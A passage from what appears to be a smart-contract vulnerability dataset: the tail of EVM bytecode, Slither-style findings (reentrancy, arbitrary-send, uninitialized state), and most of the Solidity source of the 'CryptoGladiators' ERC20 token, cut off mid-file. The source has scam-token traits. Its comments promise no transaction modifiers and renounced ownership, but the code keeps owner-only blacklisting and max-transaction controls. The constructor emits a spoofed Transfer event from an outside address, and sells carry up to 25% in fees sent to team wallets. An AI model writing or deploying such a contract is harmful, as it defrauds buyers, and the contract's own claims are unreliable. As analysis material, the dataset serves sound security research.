746572207468616e203000000081525060200191505060405180910390fd5b61178b606461177d83683635c9adc5dea000006127db90919063ffffffff16565b61286190919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613db66024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611968576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cfd6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d916025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613cb06023913960400191505060405180910390fd5b60008111611bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d686029913960400191505060405180910390fd5b611bc0610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2e5750611bfe610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121ef57601360179054906101000a900460ff1615611e94573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d645750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9357601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611daa611854565b73ffffffffffffffffffffffffffffffffffffffff161480611e205750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e08611854565b73ffffffffffffffffffffffffffffffffffffffff16145b611e92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f8457601454811115611ed657600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f7a5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f8357600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561202f5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120855750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561209d5750601360179054906101000a900460ff165b156121355742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120ed57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061214030610ae2565b9050601360159054906101000a900460ff161580156121ad5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121c55750601360169054906101000a900460ff165b156121ed576121d3816124f1565b600047905060008111156121eb576121ea47612372565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122965750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122a057600090505b6122ac848484846128ab565b50505050565b600083831115829061235f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612324578082015181840152602081019050612309565b50505050905090810190601f1680156123515780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123c260028461286190919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123ed573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61243e60028461286190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612469573d6000803e3d6000fd5b5050565b6000600a548211156124ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cd3602a913960400191505060405180910390fd5b60006124d4612b02565b90506124e9818461286190919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561252657600080fd5b506040519080825280602002602001820160405280156125555781602001602082028036833780820191505090505b509050308160008151811061256657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561260857600080fd5b505afa15801561261c573d6000803e3d6000fd5b505050506040513d602081101561263257600080fd5b81019080805190602001909291905050508160018151811061265057fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126b730601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185c565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561277b578082015181840152602081019050612760565b505050509050019650505050505050600060405180830381600087803b1580156127a457600080fd5b505af11580156127b8573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ee576000905061285b565b60008284029050828482816127ff57fe5b0414612856576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d1f6021913960400191505060405180910390fd5b809150505b92915050565b60006128a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b2d565b905092915050565b806128b9576128b8612bf3565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561295c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129715761296c848484612c36565b612aee565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a145750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a2957612a24848484612e96565b612aed565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612acb5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ae057612adb8484846130f6565b612aec565b612aeb8484846133eb565b5b5b5b80612afc57612afb6135b6565b5b50505050565b6000806000612b0f6135ca565b91509150612b26818361286190919063ffffffff16565b9250505090565b60008083118290612bd9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b9e578082015181840152602081019050612b83565b50505050905090810190601f168015612bcb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612be557fe5b049050809150509392505050565b6000600c54148015612c0757506000600d54145b15612c1157612c34565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c4887613877565b955095509550955095509550612ca687600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d3b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dd085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e1c816139b1565b612e268483613b56565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612ea887613877565b955095509550955095509550612f0686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f9b83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061303085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061307c816139b1565b6130868483613b56565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061310887613877565b95509550955095509550955061316687600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131fb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061329083600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061332585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613371816139b1565b61337b8483613b56565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133fd87613877565b95509550955095509550955061345b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134f085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061353c816139b1565b6135468483613b56565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561382c5782600260006009848154811061360457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136eb575081600360006009848154811061368357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561370957600a54683635c9adc5dea0000094509450505050613873565b613792600260006009848154811061371d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138df90919063ffffffff16565b925061381d60036000600984815481106137a857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138df90919063ffffffff16565b915080806001019150506135e5565b5061384b683635c9adc5dea00000600a5461286190919063ffffffff16565b82101561386a57600a54683635c9adc5dea00000935093505050613873565b81819350935050505b9091565b60008060008060008060008060006138948a600c54600d54613b90565b92509250925060006138a4612b02565b905060008060006138b78e878787613c26565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061392183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122b2565b905092915050565b6000808284019050838110156139a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139bb612b02565b905060006139d282846127db90919063ffffffff16565b9050613a2681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b5157613b0d83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392990919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b6b82600a546138df90919063ffffffff16565b600a81905550613b8681600b5461392990919063ffffffff16565b600b819055505050565b600080600080613bbc6064613bae888a6127db90919063ffffffff16565b61286190919063ffffffff16565b90506000613be66064613bd8888b6127db90919063ffffffff16565b61286190919063ffffffff16565b90506000613c0f82613c01858c6138df90919063ffffffff16565b6138df90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3f85896127db90919063ffffffff16565b90506000613c5686896127db90919063ffffffff16565b90506000613c6d87896127db90919063ffffffff16565b90506000613c9682613c8885876138df90919063ffffffff16565b6138df90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b66c0dfeaf8e74954a052745432a8cd35e7373d854528eb9c5405ff36b2009f464736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,346 |
0x87fb56b41ef59f9c720b33d0652a5c04028b88c5 | /**
*Submitted for verification
*/
/**
*Submitted for verification at
*/
/**
*Submitted for verification
*/
/**
___ ____ _ _ ____ ______ ___ ___ __ ___ ____ __ ___ ______ ___ ____ __
// || \\ \\// || \\ | || | // \\ // \\ || // \\ || \\ || // \\ | || | // \\ || \\ (( \
(( ||_// )/ ||_// || (( )) (( ___ || ||=|| || )) || ||=|| || (( )) ||_// \\
\\__ || \\ // || || \\_// \\_|| ||__| || || ||_// || || || || \\_// || \\ \_))
*/
// Telegram: https://t.me/CryptoGladiatorsERC
// Website: www.cryptogladiators.live
// No dev-wallets **
// Locked liquidity **
// Renounced ownership! **
// No tx modifiers **
// Community-Driven **
//////////////// Let's GOOO !! ************
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CryptoGladiators is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "CryptoGladiators";
string private constant _symbol = "CryptoGladiators";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
